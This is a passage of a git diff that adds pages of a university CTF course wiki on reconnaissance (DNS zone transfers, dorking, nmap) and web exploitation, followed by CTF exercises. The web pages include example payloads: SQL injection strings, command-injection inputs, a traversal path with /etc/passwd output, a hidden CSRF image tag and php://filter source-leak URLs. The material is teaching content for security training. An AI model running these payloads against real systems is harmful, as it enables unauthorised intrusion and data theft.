
+

Sometimes DNS servers are misconfigured. The DNS server contains a Zone file which it uses to replicate the map of a domain. They should be configured so that only the replicating DNS-server can access it, but sometimes it is misconfigured so anyone can request the zone file, and thereby recieve the whole list of subdomains. This can be done the following way:

+

To do this we first need to figure out which DNS-servers a domain has.

+
host -t ns wikipedia.com
+host -l wikipedia.com ns1.wikipedia.com
+
+

This can also be done with tools such as dnsrecon and dnsenum.

+

https://security.stackexchange.com/questions/10452/dns-zone-transfer-attack

+

Search Engine Discovery

+

Search engines can be very useful for finding information about the target. Search engines can be used for two things:

+
    +
  • Finding sensitive information on the domain that you are attacking
  • +
  • Finding sensitive information about the company and its employees in on other parts of the internet. Like forums, newsgroups etc.
  • +
+

Remember that the world is bigger than google. So test out the other search engines.

+

Baidu, binsearch.info, Bing, DuckDuckGo, ixquick/Startpage, Shodan,PunkSpider

+

Google is a good tool to learn more about a website.

+

Finding specific filetypes

+
filetype:pdf
+
+

Search within webaddress

+
site:example.com myword
+
+

Find in url

+
inurl:test.com
+
+

Wild cards

+

You can use the asterisk to as a wildcard:

+
*
+
+

Example:

+
"I've been * for a heart"
+
+

This will return answers where * is anything.

+

Exclude words

+
-
+
+

the dash excludes a specific word

+

This query searches for pages that used the word bananasplit.

+
-banana bananasplit
+
+

Cached version

+

So if a website has been taken down you can still find the cached version, of the last time google visited the site

+
cache:website.com
+
+

https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf

+

Examples

+

Find login-pages on sites that use the ending .bo. For bolivia.

+
site:bo inurl:admin.php
+
+

Active information gathering

+

Once the passive phase is over it is time to move to the active phase. In this phase we start interacting with the target.

+

Netdiscover

+

This tool is used to scan a network for live machines.

+
netdiscover -r 192.168.1.1/24
+
+

Nikto

+

Nikto is a good tool to scan webservers. It is very intrusive.

+
nikto -host 192.168.1.101
+
+

Port Scanning

+

TLDR

+
# Stealthy
+nmap -sS 10.11.1.X
+
+# Scan all ports, might take a while.
+nmap 10.11.1.X -p-
+
+# Scan for UDP
+nmap 10.11.1.X -sU
+unicornscan -mU -v -I 10.11.1.X
+
+# Scan for version, with NSE-scripts and trying to identify OS
+nmap 10.11.1.X -sV -sC -O
+
+# All out monsterscan
+nmap -vvv -Pn -A -iL listOfIP.txt
+
+# Fast scan
+nmap 10.11.1.X -F
+
+# Only scan the 100 most common ports
+nmap 10.11.1.X --top-ports 100
+
+

Nmap

+

Now that you have gathered some IP addresses from your subdomain scanning it is time to scan those addresses. You just copy-paste those addresses and add them to a file, line by line. Then you can scan all of them with nmap at the same time. Using the -iL flag.

+

Basics - tcp-connect scan

+

Okay, so a bit of the basics of Nmap and how it works. When one machine initiate a connection with another machine using the transmission-control protocol (tcp) it performs what is know as a three-way handshake. That means:

+
machine1 sends a syn packet to machine2
+machine2 send a syn-ack packet to machine1
+machine1 sends a ack packet to machine2.
+
+

If machine2 responds with a syn-ack we know that that port is open. This is basically what nmap does when it scans for a port. If machine1 omits the last ack packet the connection is not made. This can be a way to make less noise.

+

This is the default mode for nmap. If you do not add any flags and scan a machine this is the type of connection it creates.

+

"Stealthy" -sS

+

By adding the -sS flag we are telling nmap to not finalize the three way handshake. It will send a syn, receive syn-ack (if the port is open), and then terminate the connection. This used to be considered stealthy before, since it was often not logged. However it should not be considered stealthy anymore.

+

In the flag I imagine that the first s stands for scan/scantype and the second S stands for syn.

+

So -sS can be read as scantype syn

+

UDP scan

+

UDP is after TCP the most common protocol. DNS (53), SNMP (161/162) and DHCP (67/68) are some common ones. Scanning for it is slow and unreliable.

+
-sU
+
+

Output scan to a textfile

+

Not all output works with grepable format. For example NSE does not work with grepable. So you might want to use xml instead.

+
# To text-file
+-oN nameOfFile
+
+# To grepable format
+-oG nameOfFile
+
+# To xml
+-oX nameOfFile
+
+

Scan an entire IP-range

+

You might find that a site has several machines on the same ip-range. You can then use nmap to scan the whole range.

+

The -sn flag stops nmap from running port-scans. So it speeds up the process.

+
nmap -vvv -sn 201.210.67.0/24
+
+

You can also specify a specific range, like this

+
nmap -sP 201.210.67.0-100
+`
+
+

Sort out the machines that are up

+

So let's say you find that 40 machine exists in that range. We can use grep to output those IP:s.

+

First let's find the IPs that were online. Ip-range is the output from previous command. You can of course combine them all.

+
cat ip-range.txt | grep -B 1 "Host is up"
+
+

Now let's sort out the ips from that file.

+
grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' ip-range.txt > only-ip.txt
+
+

Now you can input all those ips to nmap and scan them.

+

Scan a range and output if a specific port is open

+

Nmap has a command to make the output grepable.

+
nmap -vvv -p 80 201.210.67.0-100 -oG - | grep 80/open
+
+

Nmap scripts

+

This chapter could also be placed in Vulnerability-analysis and Exploitation. Because nmap scripting is a really versatile tool that can do many things. Here we will focus on it's ability to retrieve information that can be useful in the process to find vulnerabilities

+

First locate the nmap scripts. Nmap scripts end in .nse. For Nmap script engine.

+
locate *.nse
+
+

The syntax for running a script is:

+
nmap --script scriptname 192.168.1.101
+
+

To find the "man"-pages, the info about a script we write:

+
nmap -script-help http-vuln-cve2013-0156.nse
+
+

Run multiple scripts

+

Can be run by separating the script with a comma

+
nmap --script scriptone.nse,sciprt2.nse,script3.nse 192.168.1.101
+
+

Run the default scripts

+
nmap -sC example.com
+
+

Metasploit

+

We can do port-scanning with metasploit and nmap. And we can even integrate nmap into metasploit. This might be a good way to keep your process neat and organized.

+

db_nmap

+

You can run db_nmap and all the output will be stored in the metasploit database and available with

+
hosts
+services
+
+

You can also import nmap scans. But you must first output it in xml-format with the following flag

+
nmap 192.168.1.107 -oX result.xml
+
+

Good practice would be to output the scan-results in xml, grepable and normal format. You do that with

+
nmap 192.168.1.107 -oA result
+
+

Then you can load it into the database with the following command.

+
db_import /path/to/file.xml
+
+

Metasploit PortScan modules

+

If you for some reason don't have access to nmap you can run metasploits modules that does portscans

+
use auxiliary/scanner/portscan/
+
+

Stealing Sensitive Information Disclosure from a Web

+

If at some point you find a web page that presents you sensitive information based on your session: Maybe it's reflecting cookies, or printing or CC details or any other sensitive information, you may try to steal it. Here I present you the main ways to can try to achieve it:

+
    +
  • CORS bypass: If you can bypass CORS headers you will be able to steal the information performing Ajax request for a malicious page.
  • +
  • XSS: If you find a XSS vulnerability on the page you may be able to abuse it to steal the information.
  • +
  • Danging Markup: If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags.
  • +
  • Clickjaking: If there is no protection against this attack, you may be able to trick the user into sending you the sensitive data (an example here).
  • +
+

Exercise

+

This week we won't have CTF grades. But you still can have a try.

+

(0 pt) Kitten War: Behind the Domain

+

Each year, those dragon-li cats would have a war with orange cats. From dining hall to library, from Lychee Hill to TB2. All day to night they fought together to claim manor.

+

However, this year things are different. Since the COVID-19 becomes serious and dangerous, which can also infect cats. Kitten war would be hold online.

+

Now, dragon-li cats just borrowed ours domain name to establish their website. Once the website is finished, they would hire too many cats that orange cats can't fight.

+

One day, when you step into TB2, an orange cat stopped you and begged, "humble human, please help us! We are losing the war."

+

img

+

"Find out what are those dragon-li cats hiding. If you can retrieve the flag behind the domain, I would allow you to pat my belly - for 2 seconds!"

+

Kittens are so lovely, you can't resist and start to discover DNS records...

+

compass.college

+

Hint1: cats like TXT because TXT looks so cute!

+

Hint2: cats only know a few words listed in the file below.

+

wordlist.txt

+

(0 pt) Kitten War: 5 Cats in a Row

+

Two dragon-li cats are staring at you for a while, since the last cyber attack. After you step into the classroom in TB1, a dragon-li cat jumped on the desk and starts talking to you.

+

img

+

"Orange cats are greedy. Team with us dragon-li cats." That cat licks its claw, said, "TB1 is ours manor, if you team with us, you can always pat cats in TB1."

+

"Now, here's your mission. Orange cats are using a website built by a CTFer from COMPASS. That guy is a noob and the website must be full of vulnerabilities. Check the sensitive files on the website and find us some flag."

+

"If we make orange cats have the website. They would be allowed to purchase dangerous weapons from online market. Then we won't defeat them in video games!"

+

Without a hesitate, you start to hack the website:

+

Very cheap and nice weapons for orange cats :P)

+

(BONUS 0 pt) Kitten War: Black means Blind

+

The war has lasted for 2 months.

+

The dragon-li cats are settling in TB1 and dining hall, while the orange cats are claimed Lychee Hill and TB2.

+

A black cat was so struggle with these fights. The cat, said, "we, we are cats. We slept 20 hours a day. Why do we bother fighting instead of sleeping?"

+

img

+

"Now you have a choice to stop the war," the black cat said, "everyone are looking at obvious things, but nobody cares about blind night."

+

"Log in COMPASS admin panel and use the final flag to stop the meaningless war."

+

COMPASS Admin Note

+

app.py

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Week 5/index.html b/CS315/2021/Week 5/index.html new file mode 100644 index 000000000..c4a51d707 --- /dev/null +++ b/CS315/2021/Week 5/index.html @@ -0,0 +1,9495 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Week5 WEB: Vulnerability Exploit - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Week5 WEB: Vulnerability Exploit

+

According to the @CTF101: https://ctf101.org/

+

Web Exploitation

+

Websites all around the world are programmed using various programming languages. While there are specific vulnerabilities in each programming language that the developer should be aware of, there are issues fundamental to the internet that can show up regardless of the chosen language or framework.

+

These vulnerabilities often show up in CTFs as web security challenges where the user needs to exploit a bug to gain some kind of higher level privilege.

+

Common vulnerabilities to see in CTF challenges:

+
    +
  • SQL Injection
  • +
  • Command Injection
  • +
  • Directory Traversal
  • +
  • Cross Site Request Forgery
  • +
  • Cross Site Scripting
  • +
  • Server Side Request Forgery
  • +
+

SQL Injection

+

SQL Injection is a vulnerability where an application takes input from a user and doesn't validate that the user's input doesn't contain additional SQL.

+
<?php
+    $username = $_GET['username']; // kchung
+    $result = mysql_query("SELECT * FROM users WHERE username='$username'");
+?>
+
+

If we look at the $username variable, under normal operation we might expect the username parameter to be a real username (e.g. kchung).

+

But a malicious user might submit different kind of data. For example, consider if the input was '?

+

The application would crash because the resulting SQL query is incorrect.

+
SELECT * FROM users WHERE username='''
+
+

Notice the extra single quote at the end.

+

With the knowledge that a single quote will cause an error in the application we can expand a little more on SQL Injection.

+

What if our input was ' OR 1=1?

+
SELECT * FROM users WHERE username='' OR 1=1
+
+

1 is indeed equal to 1. This equates to true in SQL. If we reinterpret this the SQL statement is really saying

+
SELECT * FROM users WHERE username='' OR true
+
+

This will return every row in the table because each row that exists must be true.

+

We can also inject comments and termination characters like -- or /* or ;. This allows you to terminate SQL queries after your injected statements. For example '-- is a common SQL injection payload.

+
SELECT * FROM users WHERE username=''-- '
+
+

This payload sets the username parameter to an empty string to break out of the query and then adds a comment (--) that effectively hides the second single quote.

+

Using this technique of adding SQL statements to an existing query we can force databases to return data that it was not meant to return.

+

Command Injection

+

Command Injection is a vulnerability that allows an attacker to submit system commands to a computer running a website. This happens when the application fails to encode user input that goes into a system shell. It is very common to see this vulnerability when a developer uses the system() command or its equivalent in the programming language of the application.

+
import os
+
+domain = user_input() # ctf101.org
+
+os.system('ping ' + domain)
+
+

The above code when used normally will ping the ctf101.org domain.

+

But consider what would happen if the user_input() function returned different data?

+
import os
+
+domain = user_input() # ; ls
+
+os.system('ping ' + domain)
+
+

Because of the additional semicolon, the os.system() function is instructed to run two commands.

+

It looks to the program as:

+
ping ; ls
+
+

The semicolon terminates a command in bash and allows you to put another command after it.

+

Because the ping command is being terminated and the ls command is being added on, the ls command will be run in addition to the empty ping command!

+

This is the core concept behind command injection. The ls command could of course be switched with another command (e.g. wget, curl, bash, etc.)

+

Command injection is a very common means of privelege escalation within web applications and applications that interface with system commands. Many kinds of home routers take user input and directly append it to a system command. For this reason, many of those home router models are vulnerable to command injection.

+

Example Payloads

+
    +
  • ;ls
  • +
  • $(ls)
  • +
  • ls
  • +
+

Directory Traversal

+

Directory Traversal is a vulnerability where an application takes in user input and uses it in a directory path.

+

Any kind of path controlled by user input that isn't properly sanitized or properly sandboxed could be vulnerable to directory traversal.

+

For example, consider an application that allows the user to choose what page to load from a GET parameter.

+
<?php
+    $page = $_GET['page']; // index.php
+    include("/var/www/html/" . $page);
+?>
+
+

Under normal operation the page would be index.php. But what if a malicious user gave in something different?

+
<?php
+    $page = $_GET['page']; // ../../../../../../../../etc/passwd
+    include("/var/www/html/" . $page);
+?>
+
+

Here the user is submitting ../../../../../../../../etc/passwd.

+

This will result in the PHP interpreter leaving the directory that it is coded to look in ('/var/www/html') and instead be forced up to the root folder.

+
include("/var/www/html/../../../../../../../../etc/passwd");
+
+

Ultimately this will become /etc/passwd because the computer will not go a directory above its top directory.

+

Thus the application will load the /etc/passwd file and emit it to the user like so:

+
root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
+systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
+systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
+systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
+_apt:x:104:65534::/nonexistent:/bin/false
+
+

This same concept can be applied to applications where some input is taken from a user and then used to access a file or path or similar. This vulnerability very often can be used to leak sensitive data or extract application source code to find other vulnerabilities.

+

Cross Site Request Forgery (CSRF)

+

A Cross Site Request Forgery or CSRF Attack, pronounced see surf, is an attack on an authenticated user which uses a state session in order to perform state changing attacks like a purchase, a transfer of funds, or a change of email address.

+

The entire premise of CSRF is based on session hijacking, usually by injecting malicious elements within a webpage through an <img> tag or an <iframe> where references to external resources are unverified.

+

Using CSRF

+

GET requests are often used by websites to get user input. Say a user signs in to an banking site which assigns their browser a cookie which keeps them logged in. If they transfer some money, the URL that is sent to the server might have the pattern:

+
http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]
+
+

Knowing this format, an attacker can send an email with a hyperlink to be clicked on or they can include an image tag of 0 by 0 pixels which will automatically be requested by the browser such as:

+
<img src="http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]" width="0" height="0" border="0">
+
+

Cross Site Scripting (XSS)

+

Cross Site Scripting or XSS is a vulnerability where on user of an application can send JavaScript that is executed by the browser of another user of the same application.

+

This is a vulnerability because JavaScript has a high degree of control over a user's web browser.

+

For example JavaScript has the ability to:

+
    +
  • Modify the page (called the DOM)
  • +
  • Send more HTTP requests
  • +
  • Access cookies
  • +
+

By combining all of these abilities, XSS can maliciously use JavaScript to extract user's cookies and send them to an attacker controlled server. XSS can also modify the DOM to phish users for their passwords. This only scratches the surface of what XSS can be used to do.

+

XSS is typically broken down into three categories:

+
    +
  • Reflected XSS
  • +
  • Stored XSS
  • +
  • DOM XSS
  • +
+

Reflected XSS

+

Reflected XSS is when an XSS exploit is provided through a URL paramater.

+

For example:

+
https://ctf101.org?data=<script>alert(1)</script>
+
+

You can see the XSS exploit provided in the data GET parameter. If the application is vulnerable to reflected XSS, the application will take this data parameter value and inject it into the DOM.

+

For example:

+
<html>
+    <body>
+        <script>alert(1)</script>
+    </body>
+</html>
+
+

Depending on where the exploit gets injected, it may need to be constructed differently.

+

Also, the exploit payload can change to fit whatever the attacker needs it to do. Whether that is to extract cookies and submit it to an external server, or to simply modify the page to deface it.

+

One of the deficiencies of reflected XSS however is that it requires the victim to access the vulnerable page from an attacker controlled resource. Notice that if the data paramter, wasn't provided the exploit wouldn't work.

+

In many situations, reflected XSS is detected by the browser because it is very simple for a browser to detect malicous XSS payloads in URLs.

+

Stored XSS

+

Stored XSS is different from reflected XSS in one key way. In reflected XSS, the exploit is provided through a GET parameter. But in stored XSS, the exploit is provided from the website itself.

+

Imagine a website that allows users to post comments. If a user can submit an XSS payload as a comment, and then have others view that malicious comment, it would be an example of stored XSS.

+

The reason being that the web site itself is serving up the XSS payload to other users. This makes it very difficult to detect from the browser's perspective and no browser is capable of generically preventing stored XSS from exploiting a user.

+

DOM XSS

+

DOM XSS is XSS that is due to the browser itself injecting an XSS payload into the DOM. While the server itself may properly prevent XSS, it's possible that the client side scripts may accidentally take a payload and insert it into the DOM and cause the payload to trigger.

+

The server itself is not to blame, but the client side JavaScript files are causing the issue.

+

Server Side Request Forgery (SSRF)

+

Server Side Request Forgery or SSRF is where an attacker is able to cause a web application to send a request that the attacker defines.

+

For example, say there is a website that lets you take a screenshot of any site on the internet.

+

Under normal usage a user might ask it to take a screenshot of a page like Google, or The New York Times. But what if a user does something more nefarious? What if they asked the site to take a picture of http://localhost ? Or perhaps tries to access something more useful like http://localhost/server-status ?

+

127.0.0.1 (also known as localhost or loopback) represents the computer itself. Accessing localhost means you are accessing the computer's own internal network. Developers often use localhost as a way to access the services they have running on their own computers.

+

Depending on what the response from the site is the attacker may be able to gain additional information about what's running on the computer itself.

+

In addition, the requests originating from the server would come from the server's IP not the attackers IP. Because of that, it is possible that the attacker might be able to access internal resources that he wouldn't normally be able to access.

+

Another usage for SSRF is to create a simple port scanner to scan the internal network looking for internal services.

+

PHP

+

PHP is one of the most used languages for back-end web development and therefore it has become a target by hackers. PHP is a language which makes it painful to be secure for most instances, making it every hacker's dream target.

+

Overview

+

PHP is a C-like language which uses tags enclosed by <?php ... ?> (sometimes just <? ... ?>). It is inlined into HTML. A word of advice is to keep the php docs open because function names are strange due to the fact that the length of function name is used to be the key in PHP's internal dictionary, so function names were shortened/lengthened to make the lookup faster. Other things include:

+
    +
  • Variables start with $: $name
  • +
  • Variable variables: $$name
  • +
  • Request-specific dictionaries: $_GET, $_POST, $_SERVER
  • +
+

Example

+
<?php
+    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['email']) && isset($_POST['password'])) {
+        $db = new mysqli('127.0.0.1', 'cs3284', 'cs3284', 'logmein');
+        $email = $_POST['email'];
+        $password = sha1($_POST['password']);
+        $res = $db->query("SELECT * FROM users WHERE email = '$email' AND password = '$password'");
+        if ($row = $res->fetch_assoc()) {
+            $_SESSION['id'] = $row['id'];
+            header('Location: index.php');
+            die();
+        }
+   }
+?>
+<html>...
+
+

This example PHP simply checks the POST data for an email and password. If the password is equal to the hashed password in the database, the use is logged in and redirected to the index page.

+

The line email = '$email' uses automatic string interpolation in order to convert $email into a string to compare with the database.

+

Type Juggling

+

PHP will do just about anything to match with a loose comparison (==) which means things can be 'equal' (==) or really equal (===). The implicit integer parsing to strings is the root cause of a lot of issues in PHP.

+

Type Comparison Table

+

Comparisons of $x with PHP Functions

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Expressiongettype()empty()is_null()isset()boolean: if($x)
$x = "";stringTRUEFALSETRUEFALSE
$x = null;NULLTRUETRUEFALSEFALSE
var $x;NULLTRUETRUEFALSEFALSE
$x is undefinedNULLTRUETRUEFALSEFALSE
$x = array();arrayTRUEFALSETRUEFALSE
$x = array('a', 'b');arrayFALSEFALSETRUETRUE
$x = false;booleanTRUEFALSETRUEFALSE
$x = true;booleanFALSEFALSETRUETRUE
$x = 1;integerFALSEFALSETRUETRUE
$x = 42;integerFALSEFALSETRUETRUE
$x = 0;integerTRUEFALSETRUEFALSE
$x = -1;integerFALSEFALSETRUETRUE
$x = "1";stringFALSEFALSETRUETRUE
$x = "0";stringTRUEFALSETRUEFALSE
$x = "-1";stringFALSEFALSETRUETRUE
$x = "php";stringFALSEFALSETRUETRUE
$x = "true";stringFALSEFALSETRUETRUE
$x = "false";stringFALSEFALSETRUETRUE
+

"==" Comparisons

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TRUEFALSE10-1"1""0""-1"NULLarray()"php"""
TRUETRUEFALSETRUEFALSETRUETRUEFALSETRUEFALSEFALSETRUEFALSE
FALSEFALSETRUEFALSETRUEFALSEFALSETRUEFALSETRUETRUEFALSETRUE
1TRUEFALSETRUEFALSEFALSETRUEFALSEFALSEFALSEFALSEFALSEFALSE
0FALSETRUEFALSETRUEFALSEFALSETRUEFALSETRUEFALSETRUETRUE
-1TRUEFALSEFALSEFALSETRUEFALSEFALSETRUEFALSEFALSEFALSEFALSE
"1"TRUEFALSETRUEFALSEFALSETRUEFALSEFALSEFALSEFALSEFALSEFALSE
"0"FALSETRUEFALSETRUEFALSEFALSETRUEFALSEFALSEFALSEFALSEFALSE
"-1"TRUEFALSEFALSEFALSETRUEFALSEFALSETRUEFALSEFALSEFALSEFALSE
NULLFALSETRUEFALSETRUEFALSEFALSEFALSEFALSETRUETRUEFALSETRUE
array()FALSETRUEFALSEFALSEFALSEFALSEFALSEFALSETRUETRUEFALSEFALSE
"php"TRUEFALSEFALSETRUEFALSEFALSEFALSEFALSEFALSEFALSETRUEFALSE
""FALSETRUEFALSETRUEFALSEFALSEFALSEFALSETRUEFALSEFALSETRUE
+

"===" Comparisons

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TRUEFALSE10-1"1""0""-1"NULLarray()"php"""
TRUETRUEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSE
FALSEFALSETRUEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSE
1FALSEFALSETRUEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSE
0FALSEFALSEFALSETRUEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSE
-1FALSEFALSEFALSEFALSETRUEFALSEFALSEFALSEFALSEFALSEFALSEFALSE
"1"FALSEFALSEFALSEFALSEFALSETRUEFALSEFALSEFALSEFALSEFALSEFALSE
"0"FALSEFALSEFALSEFALSEFALSEFALSETRUEFALSEFALSEFALSEFALSEFALSE
"-1"FALSEFALSEFALSEFALSEFALSEFALSEFALSETRUEFALSEFALSEFALSEFALSE
NULLFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSETRUEFALSEFALSEFALSE
array()FALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSETRUEFALSEFALSE
"php"FALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSETRUEFALSE
""FALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSEFALSETRUE
+

File Inclusion

+

PHP has multiple ways to include other source files such as require, require_once and include. These can take a dynamic string such as require $_GET['page'] . ".php"; which is usually seen in templating.

+

PHP Stream Filters

+

PHP has its own URL scheme: php://... and its main purpose is to filter output automatically. It can automatically remove certain HTML tags and can base64 encode as well.

+

Example

+
$fp = fopen('php://output', 'w');
+stream_filter_append(
+       $fp,
+       'string.strip_tags',
+       STREAM_FILTER_WRITE,
+       array('b','i','u'));
+fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
+/* <b>bolded text</b> enlarged to a level 1 heading */
+
+

Exploitation

+

These filters can also be used on input such as:

+
    +
  • php://filter/convert.base64-encode/resource={file}
  • +
  • include, file_get_contents(), etc. support URLs including PHP stream filter URLs (php://)
  • +
  • include normally evaluates any PHP code (in tags) it finds, but if it’s base64 encoded it can be used to leak source
  • +
+

OWASP Top 10

+

There are three new categories, four categories with naming and scoping changes, and some consolidation in the Top 10 for 2021.

+

img

+
    +
  • A01:2021-Broken Access Control moves up from the fifth position; 94% of applications were tested for some form of broken access control. The 34 Common Weakness Enumerations (CWEs) mapped to Broken Access Control had more occurrences in applications than any other category.
  • +
  • A02:2021-Cryptographic Failures shifts up one position to #2, previously known as Sensitive Data Exposure, which was broad symptom rather than a root cause. The renewed focus here is on failures related to cryptography which often leads to sensitive data exposure or system compromise.
  • +
  • A03:2021-Injection slides down to the third position. 94% of the applications were tested for some form of injection, and the 33 CWEs mapped into this category have the second most occurrences in applications. Cross-site Scripting is now part of this category in this edition.
  • +
  • A04:2021-Insecure Design is a new category for 2021, with a focus on risks related to design flaws. If we genuinely want to “move left” as an industry, it calls for more use of threat modeling, secure design patterns and principles, and reference architectures.
  • +
  • A05:2021-Security Misconfiguration moves up from #6 in the previous edition; 90% of applications were tested for some form of misconfiguration. With more shifts into highly configurable software, it’s not surprising to see this category move up. The former category for XML External Entities (XXE) is now part of this category.
  • +
  • A06:2021-Vulnerable and Outdated Components was previously titled Using Components with Known Vulnerabilities and is #2 in the Top 10 community survey, but also had enough data to make the Top 10 via data analysis. This category moves up from #9 in 2017 and is a known issue that we struggle to test and assess risk. It is the only category not to have any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploit and impact weights of 5.0 are factored into their scores.
  • +
  • A07:2021-Identification and Authentication Failures was previously Broken Authentication and is sliding down from the second position, and now includes CWEs that are more related to identification failures. This category is still an integral part of the Top 10, but the increased availability of standardized frameworks seems to be helping.
  • +
  • A08:2021-Software and Data Integrity Failures is a new category for 2021, focusing on making assumptions related to software updates, critical data, and CI/CD pipelines without verifying integrity. One of the highest weighted impacts from Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) data mapped to the 10 CWEs in this category. Insecure Deserialization from 2017 is now a part of this larger category.
  • +
  • A09:2021-Security Logging and Monitoring Failures was previously Insufficient Logging & Monitoring and is added from the industry survey (#3), moving up from #10 previously. This category is expanded to include more types of failures, is challenging to test for, and isn’t well represented in the CVE/CVSS data. However, failures in this category can directly impact visibility, incident alerting, and forensics.
  • +
  • A10:2021-Server-Side Request Forgery is added from the Top 10 community survey (#1). The data shows a relatively low incidence rate with above average testing coverage, along with above-average ratings for Exploit and Impact potential. This category represents the scenario where the security community members are telling us this is important, even though it’s not illustrated in the data at this time.
  • +
+

Exercise

+

(5 pt) Jiaran!!!

+

One of my friends loves Jiaran so, so much. I'm not so interested in Vtubers, but I do know vtubers would hide some flag in web.

+

img

+

Now we have the chat page of fans: http://103.102.44.218:10003/. Maybe you can find flag in this website.

+

Hint: as a fan web, the privilege check is broken.

+

source.zip

+

(5 pt) Do you like pickle?

+

Rick is a famous scientist in our universe. One time he trapped himself into a pickle.

+

Find some items to save Rick.

+

http://103.102.44.218:10004/

+

If you want to find some hints from source, here it is: source.zip

+

(BONUS 5 pt) Jason is a cool guy

+

Seems this website is impossible to broken. But still, nothing can block you hackers from stealing the flag.

+

https://81.68.223.245/

+

Here's the source code for you: source.zip

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Week 6/index.html b/CS315/2021/Week 6/index.html new file mode 100644 index 000000000..8c6f45e1c --- /dev/null +++ b/CS315/2021/Week 6/index.html @@ -0,0 +1,9765 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Week6 RE: De-compiling Program - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Week6 RE: De-compiling Program

+

According to the @CTF101: https://ctf101.org/

+

Reverse Engineering

+

Reverse Engineering in a CTF is typically the process of taking a compiled (machine code, bytecode) program and converting it back into a more human readable format.

+

Very often the goal of a reverse engineering challenge is to understand the functionality of a given program such that you can identify deeper issues.

+
    +
  • Assembly / Machine Code
  • +
  • The C Programming Language
  • +
  • Disassemblers
  • +
  • Decompilers
  • +
+

Assembly/Machine Code

+

Machine Code or Assembly is code which has been formatted for direct execution by a CPU. Machine Code is the why readable programming languages like C, when compiled, cannot be reversed into source code (well Decompilers can sort of, but more on that later).

+

From Source to Compilation

+

Godbolt shows the differences in machine code generated by various compilers.

+

For example, if we have a simple C++ function:

+
#include <unistd.h>
+#include <stdio.h>
